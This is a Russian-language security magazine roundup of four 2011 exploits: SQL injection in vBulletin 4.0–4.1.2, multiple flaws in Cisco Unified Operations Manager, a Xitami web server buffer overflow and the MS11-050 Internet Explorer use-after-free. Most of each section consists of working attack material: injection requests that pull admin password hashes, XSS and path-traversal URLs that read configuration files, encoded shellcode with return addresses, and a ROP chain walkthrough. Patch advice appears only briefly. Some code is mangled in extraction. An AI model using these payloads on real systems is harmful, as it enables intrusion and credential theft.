Содержание статьи
- SQL-ИНЪЕКЦИЯ В VBULLETIN 4.0.X => 4.1.2
- CVSSV2
- Brief
- Exploit
- Targets
- Solution
- Множественные уязвимости в Cisco UNIFIED OPERATIONS MANAGER 8.0 И 8.5
- CVSSV2
- Brief
- EXPLOIT
- Solution
- XITAMI WEB SERVER 2.5B4: Удаленное переполнение буфера
- CVSSV2
- Brief
- Exploit
- Targets
- Solution
- MS11-050 IE MSHTML!COBJECTELEMENT USE AFTER FREE
- CVSSV2
- Brief
- Exploit
- Targets
- Solution
Минувший месяц был достаточно богат на публикации разнообразных эксплоитов, в особенности для веб-приложений: Joomla, vBulletin и WordPress стабильно показывают хорошие (а для когото и плохие) позиции в чартах. Все их разобрать в обзоре, увы, не выйдет, но самые интересные уже ждут тебя!
SQL-ИНЪЕКЦИЯ В VBULLETIN 4.0.X => 4.1.2
CVSSV2
- 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Brief
vBulletin — один из самыx распространенных форумных движков, а с недавних пор еще и CMS (vBulletin Publishing suite), в простонародье — булка. Немецкий исследователь под псевдонимом J0hn.X3r уже не в первый раз находит багу в этом движке, и в этот раз к поискам его подтолкнуло очередное обновление безопасности, в котором исправлялись некоторые критические уязвимости. Такой метод обратного инжиниринга патчей широко используется исследователями для выявления багов как в обычных скриптах, так и в бинарных файлах. В этом случае требуется лишь просмотреть изменения, которые вносит патч, и сделать соответствующие выводы. Таким образом, область поиска существенно сокращается.
Exploit
Взор багоискателя пал на два файла. Первым из них был /vb/search/ searchtools.php и конкретно функция getDisplayString:
public static function getDisplayString($table,
$table_display, $fi eldname, $key, $id, $comparator, $is_date)
{
global $vbulletin, $vbphrase;
$names = array();
if (is_array($id))
{
$sql = "SELECT DISTINCT $table.$fi eldname from " .
TABLE_PREFIX .
"$table AS $table WHERE $key IN (" . implode(', ', $id) . ")";
if ($rst = $vbulletin->db->query_read($sql))
{
while($row = $vbulletin->db->fetch_row($rst))
{
$names[] = $row[0];
}
}
if (count($names) > 0)
{
return $table_display . ': ' . implode(', ', $names);
}
}
else
{
//If we got here, we have a single value
if ($row = $vbulletin->db->query_fi rst(
"SELECT $table.$fi eldname from " . TABLE_PREFIX .
"$table AS $table WHERE $key = $id"))
{
return $table_display . ' ' .
self::getCompareString($comparator, $is_date)
. ' ' . $row[0];
}
}
return "";
}
Интерес для нас в этой функции представляет переменная $id, которая никак в ней не фильтруется. Теперь посмотрим, где используется эта уязвимая функция, и обнаружим файл /packages/vbforum/search/type/ socialgroup.php, строки 201-203:
vB_Search_Searchtools::getDisplayString(
'socialgroupcategory', $vbphrase['categories'],
'title', 'socialgroupcategoryid',
$value, vB_Search_Core::OP_EQ, true ));
Истина где-то рядом. Как действовать дальше? Из параметров функции становится ясно, что вызов связан с поиском по неким «social groups». В ходе экспериментов рекомендуется использовать Live HTTP Headers — плагин для Firefox, так как нам придется работать с параметрами в POST-запросах. Так как исходная функция явно используется при поиске, то подвергнем экзекуции страницу поиска search.php. Перейдем по ссылке «Search Multiple Content Types» и отметим галочку напротив «groups», а в строку поиска введем название какой-нибудь существующей группы или ее часть, например, team. Вот такой POST-запрос при этом получится:
type%5B%5D=7&query=team&titleonly=1&searchuser=&ex
actname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=a
fter&sortby=relevance&order=descending&saveprefs=1&s=&securit
ytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do
=process&searchthreadid=
Для эксплуатации уязвимости дополним исходный запрос SQLинъекцией:
type%5B%5D=7&query=team&titleonly=1&searchuser=&ex
actname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=a
fter&sortby=relevance&order=descending&saveprefs=1&s=
&securitytoken=1302542927-d4cf038925f1bba6869e060b837d6513
71f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT
'haxhax' #
Бинго! В содержимом страницы появилась наша инъектируемая строка haxhax. Едем дальше: модифицируем запрос так, чтобы вывести логин, хэш, соль и мэйл админа:
type%5B%5D=7&query=team&titleonly=1&searchuser=&ex
actname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=a
fter&sortby=relevance&order=descending&saveprefs=1&s=
&securitytoken=1302542927-d4cf038925f1bba6869e060b837d
651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION
SELECT concat_ws(0x3a,username,password,salt,email) FROM
bulletinuser limit 1,1#
Далее осталось лишь подобрать пароль любыми подручными средствами, будь то John The Ripper, PasswordsPro или какой-нибудь онлайновый сервис, коих нынче развелось в достатке.
Targets
• vBulletin Publishing Suite 4.0.0 — 4.1.2
• vBulletin Forum Classic 4.0.0 — 4.1.2
Solution
Обновить движок до более поздней версии или установить патч. Еще существует метод патчинга вручную, который заключается в том, что переменная $id оборачивается в вызов специальной функции, фильтрующей нежелательные значения:
$id = $vbulletin->db->sql_prepare($id);
if (is_array($id))
{
Но это еще не все. Так как переменная $id может быть массивом переменных, нужно добавить в функцию sql_prepare() обработку этого случая (по умолчанию его там, как ни странно, нет). Конечный вариант выглядит так:
function sql_prepare($value)
{
if (is_string($value))
{
return "'" . $this->escape_string($value) . "'";
}
else if (is_numeric($value) AND $value + 0 == $value)
{
return $value;
}
else if (is_bool($value))
{
return $value ? 1 : 0;
}
else if (is_null($value))
{
return "''";
}
else if (is_array($value))
{
foreach ($value as $key => $item)
{
$value[$key] = $this->sql_prepare($item);
}
return $value;
}
else
{
return "'" . $this->escape_string($value) . "'";
}
}
Множественные уязвимости в Cisco UNIFIED OPERATIONS MANAGER 8.0 И 8.5
CVSSV2
- 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Brief
Cisco Unified Operations Manager (CuOM) — комплексное решение от известного вендора, предназначенное для мониторинга состояния сети и оперативного решения возникающих проблем. Решение это оказалось на удивление дырявым. В середине мая исследователи из Sense of Security опубликовали целый вагон уязвимостей в этом ПО: здесь и слепые SQL-инъекции, и межсайтовый скриптинг, и выход за корневую директорию веб-сервера. Традиционно, в случае множественных уязвимостей счетчик CVSS определяется по самой серьезной из них, в данном случае это SQL-инъекция, и поэтому наш экспонат заработал 7,5 баллов из 10.
EXPLOIT
1.Переменная CCMs в скрипте PRTestCreation.do подвержена слепой SQL-инъекции, которую можно продемонстрировать банальной одинарной кавычкой:
/iptm/PRTestCreation.do?RequestSource=dashboard&MACs=&CCMs=
'waitfor%20delay'0:0:20'--&Extns=&IPs=
Аналогичной уязвимости подвержена переменная ccm в скрипте TelePresenceReportAction.do:
/iptm/TelePresenceReportAction.do?ccm='waitfor%20 delay'0:0:20'-2.
Пассивные XSS были обнаружены в большом количестве скриптов приложения Common Services Device Center, вот лишь некоторые из них:
/iptm/advancedfi nd.do?extn=73fcb</script><script>alert(1)
</script>23fbe43447/iptm/logicalTopo.do?clusterName=
db4c1"%3balert(1)//4031caf63d7
Полный список уязвимых скриптов находится в адвизори SOS-11006, которая в свободном доступе обитает в интернете. Не удалось утаить баги и приложению под названием Common Services Framework Help Servlet, в котором тоже была обнаружена пассивная XSS:
/cwhp/device.center.do?device=&72a9f"><script>alert(1)</script>5f5251aaad=1
3.Продолжает наш хит-парад веб-приложение CiscoWorks Homepage, которое порадует нас возможностью выхода за пределы корневой директории веб-сервера, благодаря чему становится возможным читать произвольные файлы в системе. Ниже представлены наиболее интересные случаи, содержащие настройки баз данных и логи изменения паролей:
- http://target:1741/cwhp/auditLog.do?fi le=..............boot.ini
- http://target:1741/cwhp/auditLog.do?fi le=..............Program FilesCSCOpxMDCTomcatwebappstriveniWEB-INFclassesschedule.properties
- http://target:1741/cwhp/auditLog.do?fi le=..............Program FilesCSCOpxlibclasspathcomcisconmcmfdbservice2DBServer.properties
- http://target:1741/cwhp/auditLog.do?fi le=..............Program FilesCSCOpxlogdbpwdChange.log
Solution
Нужно обновить CuOM до версии 8.6 или более поздней. Либо можно накатить патчи от Cisco, которые можно обнаружить на страницах, посвященных соответствующим багам: CSCtn61716, CSCto12704, CSCto12712 и CSCto35577.
XITAMI WEB SERVER 2.5B4: Удаленное переполнение буфера
CVSSV2
- 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
Brief
Xitami — web/ftp-сервер, первоначально создаваемый с 1996 по 2000 годы конторой iMatrix, как бесплатный продукт с открытыми исходными кодами. Работает он как одиночный процесс и не требует для своей работы больших объемов памяти. Xitami по скорости работы не дотягивает до быстрейших серверов, но по заверениям производителя является хорошо расширяемым решением. Более того, он поддерживает некоторое количество прикладных протоколов, а также имеет веб-интерфейс, через который можно конфигурировать web/ftp-сервер. Код эксплоита можно найти на популярном ресурсе exploit-db.com в разделе Remote Exploits. Для академических целей мы его слегка модифицируем под себя.
Exploit
В самом коде скрипта автором приведена краткая справка по его использованию. Выглядит она следующим образом:
#root@bt:~# cd Desktop/
#root@bt:~# ./Xitami2_5b4.pl
Enter your target's IP (e.g.: 192.168.0.123)
> 192.168.178.37
[*] Sending the evil header at: 192.168.178.37
[*] OK, exploitation Done!
[*] Check please for the shell
Вместо полезной нагрузки, размещенной в скрипте автором, забацаем классический калькулятор. Сказано — сделано.
# msfpayload windows/exec cmd=calc.exe R | msfencode -e x86/
alpha_mixed -t perl
[*] x86/alpha_mixed succeeded with size 461 (iteration=1)
my $buf =
"x89xe2xd9xeaxd9x72xf4x5ax4ax4ax4ax4ax4ax4a" .
"x4ax4ax4ax4ax4ax43x43x43x43x43x43x37x52x59" .
"x6ax41x58x50x30x41x30x41x6bx41x41x51x32x41" .
"x42x32x42x42x30x42x42x41x42x58x50x38x41x42" .
"x75x4ax49x49x6cx58x68x4cx49x45x50x43x30x43" .
"x30x45x30x4bx39x4dx35x50x31x58x52x51x74x4c" .
"x4bx43x62x54x70x4cx4bx50x52x54x4cx4cx4bx52" .
"x72x45x44x4cx4bx51x62x45x78x56x6fx4cx77x50" .
"x4ax54x66x56x51x49x6fx54x71x4fx30x4cx6cx47" .
"x4cx51x71x51x6cx43x32x54x6cx51x30x4bx71x5a" .
"x6fx54x4dx43x31x5ax67x58x62x5ax50x52x72x50" .
"x57x4cx4bx56x32x54x50x4cx4bx50x42x45x6cx43" .
"x31x58x50x4cx4bx43x70x51x68x4fx75x4fx30x43" .
"x44x52x6ax45x51x5ax70x52x70x4cx4bx51x58x45" .
"x48x4ex6bx43x68x45x70x47x71x49x43x4dx33x45" .
"x6cx51x59x4cx4bx54x74x4ex6bx45x51x4bx66x54" .
"x71x4bx4fx56x51x49x50x4ex4cx5ax61x58x4fx56" .
"x6dx47x71x5ax67x45x68x4bx50x54x35x4bx44x43" .
"x33x51x6dx4bx48x45x6bx43x4dx47x54x50x75x5a" .
"x42x43x68x4ex6bx50x58x47x54x45x51x5ax73x45" .
"x36x4cx4bx56x6cx52x6bx4ex6bx56x38x45x4cx56" .
"x61x49x43x4ex6bx47x74x4ex6bx43x31x5ax70x4c" .
"x49x50x44x47x54x56x44x51x4bx43x6bx43x51x51" .
"x49x50x5ax56x31x4bx4fx4dx30x51x48x51x4fx43" .
"x6ax4ex6bx47x62x5ax4bx4fx76x43x6dx50x6ax47" .
"x71x4cx4dx4ex65x58x39x43x30x43x30x45x50x52" .
"x70x51x78x50x31x4cx4bx52x4fx4fx77x4bx4fx49" .
"x45x4fx4bx4cx30x4cx75x4cx62x43x66x43x58x4c" .
"x66x4cx55x4dx6dx4fx6dx4bx4fx4ex35x47x4cx43" .
"x36x43x4cx54x4ax4bx30x4bx4bx4dx30x52x55x45" .
"x55x4fx4bx50x47x52x33x51x62x50x6fx52x4ax43" .
"x30x56x33x4bx4fx4bx65x45x33x50x61x52x4cx50" .
"x63x56x4ex43x55x50x78x52x45x47x70x41x41";
Вставляем данное добро в скрипт Xitami2_5b4.pl, генерирующий рабочий эксплоит, поднимаем сервер, запускаем скрипт, вбиваем ipадрес сервака и наблюдаем возникающий из ниоткуда кулькулятор. Ну а теперь немного подробней. Перезапись стека происходит на вызове функции _sscanf:
.text:0042A38D push eax
.text:0042A38E lea edx, [esp+7Ch+var_58]
.text:0042A392 push ecx
.text:0042A393 push edx
.text:0042A394 push offset aDSDDDD ; "%d %s %d %d:%d:%d"
.text:0042A399
.text:0042A399 loc_42A399: ; CODE XREF: sub_42A1F0+10B#j
.text:0042A399 push edi ; Src
.text:0042A39A call _sscanf; <--- атата
.text:0042A39F mov ecx, [esp+8Ch+var_5C]
.text:0042A3A3 add esp, 20h
Таким образом стек выглядит после перезаписи (видим стандартную АААА..., начинающуюся с адреса 0x00c8fee8):
00C8FEA4 00A27C57 W|ў. ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00C8FEA8 004922F4 ф"I. ASCII "%s %d %d:%d:%d %d"
00C8FEAC 00C8FEE8 июИ. ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00C8FEB0 00C8FED8 ШюИ.
00C8FEB4 00C8FEDC ЬюИ.
00C8FEB8 00C8FEE0 аюИ.
00C8FEBC 00C8FEE4 дюИ.
00C8FEC0 00C8FED4 ФюИ.
00C8FEC4 00A0F2A8 Ёт .
00C8FEC8 00A184DC Ь"Ў.
00C8FECC 00000001 #...
00C8FED0 00000000 ....
00C8FED4 00000000 ....
00C8FED8 00000000 ....
00C8FEDC 00000000 ....
00C8FEE0 00000000 ....
00C8FEE4 00000000 ....
00C8FEE8 41414141 AAAA
00C8FEEC 41414141 AAAA
00C8FEF0 41414141 AAAA
00C8FEF4 41414141 AAAA
Сразу же после всех этих AAAAA... будет располагаться адрес возврата, которым мы переписали первоначальный адрес возврата. Так как в данном варианте эксплоита не ставится целью обход DEP’а, то и управление в дальнейшем нам надо будет передавать на стек. Посему необходимо искать что-то наподобие push esp — ret.
Сразу краткое замечание по поводу кода эксплоита. Необходимо внимательней смотреть на адрес, которым будет перетираться оригинальный, поскольку все это хардкод. На моей системе адрес push esp — ret немного отличался от авторского:
$RET = "x53x2bxabx71";
ws2_32.dll push ESP — ret — (Windows XP SP3 — [En]).
На моей системе:
$RET = "x53x2bxa9x71";
Посмотреть данные адреса можно либо простым поиском по опкодам 0x54,0xc3 (push esp — retn), либо при помощи плагина к ImmDbg под названием pvefindaddr. Каким образом использовать pvefindaddr, можно узнать при помощи команды !usage pvefindaddr с дальнейшим созерцанием результатов исполнения вышеприведенной команды в окне логов ImmDbg.
После того как мы дойдем до последнего ret’а, на вершине стека будет лежать адрес 0x71a92b53. Исполняется retn, далее выполняются команды push esp — retn, мы прыгаем на nop-цепочку, по которой в конце концов добираемся до полезной нагрузки.
Targets
- Xitami 2.5b4
Solution
- Обновиться до более свежей версии
MS11-050 IE MSHTML!COBJECTELEMENT USE AFTER FREE
CVSSV2
- 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
Brief
Очередная уязвимость в Internet Explorer 7-8. Эксплоит был оформлен автором в виде модуля для Metasploit. Данный модуль эксплуатирует уязвимость типа use-after-free, достигаемую в том случае, когда задан неверный тэг <object> и другие элементы перекрывают собой на экране то место, где тэг объекта должен был бы оказаться после генерации. В результате невалидности элемента Mshtml!CObjectElement, происходит его освобождение в памяти. Однако, объект mshtml!CDisplay для страницы продолжает хранить ссылку на освобожденный <object> и пытается вызывать функции, в аргументах к которым будет указан данный освобожденный элемент, что, собственно, и приводит к уязвимости типа use-after-free.
Exploit
Справку по использованию эксплоита можно получить при помощи стандартной команды Metasploit «show options». Вот пример использования этого сплоита:
msf >
use exploit/windows/browser/ms11_050_mshtml_cobjectelement
msf exploit(…) > set SRVHOST 192.168.0.63
SRVHOST => 192.168.0.63
msf exploit(…) > set PAYLOAD windows/exec
PAYLOAD => windows/exec
msf exploit(…) > set CMD calc.exe
CMD => calc.exe
msf exploit(…) > exploit
[] Exploit running as background job.
[] Using URL: http://192.168.0.63:8080/b6t3wEBKj
[*] Server started.
msf exploit(ms11_050_mshtml_cobjectelement) >
Проходим по ссылке на клиенте (http://192.168.0.63:8080/b6t3wEBKj) и видим возникающий калькулятор. Если закомментировать один из тегов в тесте (дабы уберечь IE от падения), а затем зайти в Deveper Tools и посмотреть на текущее состояние DOM, элемент <object> показываться не будет, скорее всего, потому, что не был указан тип объекта, который у него должен быть:
<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right'
hspace='1000' width='1000'>TAG_1</object>";
// document.body.innerHTML += "<a id='tag_3' style='b
ottom:200cm;fl oat:left;padding-left:-1000px; borderwidth:
2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style=
'font-size:1000pc;margin:auto -1000cm auto auto;'
dir='ltr'>TAG_11</strong>";
</script>
</body>
</html>
Зная это, вскинем свой взор на стек вызовов, полученный после падения, это должно пояснить нам суть остального:
0:008> k
ChildEBP RetAddr
020be350 63602718 mshtml!CElement::Doc+0x2
020be36c 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9
020be618 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44
020be628 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
020be638 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf
020be64c 637d29ab mshtml!CTreeNode::GetFancyFormat+0x35
020be654 637d2906 mshtml!CLineCore::AO_GetFancyFormat+0x23
020be688 63675c93 mshtml!CRecalcLinePtr::RecalcMargins+0x19d
020bee80 6369985f mshtml!CDisplay::RecalcLines+0x6e4
020bef5c 6361c037 mshtml!CDisplay::WaitForRecalc+0x208
020befac 636514de mshtml!CFlowLayout::Notify+0x7d7
020befb8 636017f2 mshtml!NotifyElement+0x41
020bf00c 6365134f mshtml!CMarkup::SendNotifi cation+0x60
020bf034 63666bc1 mshtml!CMarkup::Notify+0xd4
020bf07c 6361bf07 mshtml!CElement::SendNotifi cation+0x4a
020bf0a0 635d82b7 mshtml!CElement::EnsureRecalcNotify+0x15f
020bf11c 635cc225 mshtml!CDisplayPointer::MoveUnit+0x2b2
020bf208 635cc092 mshtml!CHTMLEditor::AdjustPointer+0x16f
020bf23c 635cd2af mshtml!CEditTracker::AdjustPointerForInsert+0x8b
020bf298 635cd123 mshtml!CCaretTracker::PositionCaretAt+0x141
Основным моментом, который приводит к падению, является то, что элемент <object> был первоначально добавлен в некий список элементов, чтобы быть отображенным. Затем элемент object был удален, поскольку стал невалидным, и стало нечего отображать. Но он не был удален из вышеобозначенного списка. Далее должно произойти нечто, в результате чего IE попытается вызвать метод на освобожденном объекте, что и приведет к use-after-free.
То есть по сути, нам необходимо инициировать освобождение элемента <object>, получить указатель на данные, которые мы контролируем для того, чтобы перезаписать ими освобожденный объект, а затем сделать то, что может привести к вызову функций с элементом object в качестве одного из аргументов.
Эксплоит для IE7 и IE8 с отключенным DEP перезаписывает CObjectElement значениями 0c0c0c0c:
mshtml!CElement::Doc:
3cf76b80 8b01 mov eax,dword ptr [ecx]
; ds:0023:147f00a7=0c0c0c0c
3cf76b82 8b5070 mov edx,dword ptr [eax+70h]
; ds:0023:0c0c0c7c=0c0c0c0c
3cf76b85 ffd2 call edx
; {<Unloaded_sspc.dll>+0xc0c0c0b (0c0c0c0c)}
; <-- (исполнение цепочки nops + shellcode)
3cf76b87 8b400c mov eax,dword ptr [eax+0Ch]
3cf76b8a c3 ret
Эксплоит для IE8 с включенным DEP требует применения техники ROP-программирования:
- CObjectElement перезаписывается значениями 0c0c0c0c;
- Используя heap-spray, помещаем ROP-последовательность по адресу 0c0c0c0c;
- По адресу 0x23000000 размещается цепочка nops+shellcode.
Как только все будет выполнено, ROP-последовательность примет следующий вид:
0c0c0c0c 7c809af1 ; 1:kernel32!VirtualAlloc (первый возврат)
0c0c0c10 7c901db3 ; 2:ntdll!memcpy (второй возврат)
0c0c0c14 7f000000 ; 1:VirtualAlloc:lpAddress
0c0c0c18 00004000 ; 1:VirtualAlloc:dwSize
0c0c0c1c 00003000 ; 1:VirtualAlloc:fl AllocationType MEM_COMMIT | MEM_RESERVE
0c0c0c20 00000040 ; 1:VirtualAlloc:fl Protect rwx
0c0c0c24 7f001000 ; 3:nops+shellcode (третий возврат)
0c0c0c28 7f001000 ; 2:memcpy:dst
0c0c0c2c 23000100 ; 2:memcpy:src
0c0c0c30 00002fff ; 2:memcpy:size
0c0c0c34 be9e2688 ; мусор
...
0c0c0c74 de2f62e1 ; мусор
0c0c0c78 a19314eb ; мусор
0c0c0c7c 773e3f18 ; comctl32!CImageList::_IsSameObject+0x40
; указатель стека
0c0c0c80 3825a2d7 ; мусор
0c0c0c84 88f8a84d ; мусор
0c0c0c88 0566b421 ; мусор
Момент вызова mshtml!CElement::Doc после данного события:
mshtml!CElement::Doc:
3cf76b80 8b01 mov eax,dword ptr [ecx]
; ds:0023:35a00002=0c0c0c0c
3cf76b82 8b5070 mov edx,dword ptr [eax+70h]
; ds:0023:0c0c0c7c=773e3f18
3cf76b85 ffd2 call edx ; указатель стека
; {comctl32!CImageList::_IsSameObject+0x40 (773e3f18)}
Первая часть ROP-последовательности представляет из себя указатель на код, производящий обмен esp с eax (0c0c0c0c):
0:007> u comctl32!CImageList::_IsSameObject+40 L?2
comctl32!CImageList::_IsSameObject+0x40:
773e3f18 94 xchg eax,esp ; esp == 0c0c0c0c
773e3f19 c3 ret ; возврат в kernel32!VirtualAlloc
После данных телодвижений ROP-последовательность будет выглядеть следующим образом:
0c0c0c10 7c901db3 ; 2:ntdll!memcpy (второй возврат)
0c0c0c14 7f000000 ; 1:VirtualAlloc:lpAddress
0c0c0c18 00004000 ; 1:VirtualAlloc:dwSize
0c0c0c1c 00003000 ; 1:VirtualAlloc:fl AllocationType MEM_
COMMIT | MEM_RESERVE
0c0c0c20 00000040 ; 1:VirtualAlloc:fl Protect rwx
0c0c0c24 7f001000 ; 3:nops+shellcode (третий возврат)
0c0c0c28 7f001000 ; 2:memcpy:dst
0c0c0c2c 23000100 ; 2:memcpy:src
0c0c0c30 00002fff ; 2:memcpy:size
В kernel32!VirtualAlloc выделяется 0x4000 байт с атрибутами чтение/запись/исполнение по адресу 0x7f000000, и мы возвращаемся в ntdll!memcpy. На данном этапе стек выглядит следующим образом:
0c0c0c24 7f001000 ; 3:nops+shellcode (третий возврат)
0c0c0c28 7f001000 ; 2:memcpy:dst
0c0c0c2c 23000100 ; 2:memcpy:src
0c0c0c30 00002fff ; 2:memcpy:size
ntdll!memcpy затем скопирует 0x2fff байт из 0x23000100 (по данному адресу находится цепочка nops + shellcode) по адресу 0x7f001000 (rwx-память, была выше выделена VirtualAlloc’ом) и вернет управление на цепочку nops + shellcode, располагающуюся по адресу 0x7f001000:
ntdll!memcpy:
7c901db3 55 push ebp
7c901db4 8bec mov ebp,esp
7c901db6 57 push edi
7c901db7 56 push esi
7c901db8 8b750 cmov esi,dword ptr [ebp+0Ch]
; ss:0023:0c0c0c2c=23000100
7c901dbb 8b4d10 mov ecx,dword ptr [ebp+10h]
; ss:0023:0c0c0c30=00002fff
7c901dbe 8b7d08 mov edi,dword ptr [ebp+8]
; ss:0023:0c0c0c28=7f001000
...
7c901de6 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
; скопировать nops+shellcode по адресу 0x7f001000
...
7c901f4d c9 leave
7c901f4e c3 ret
; возврат по адресу 7f001000 (попадаем на
; цепочку nops + shellcode)
Targets
- Internet Explorer 7-8
Solution
- Поставить обновления.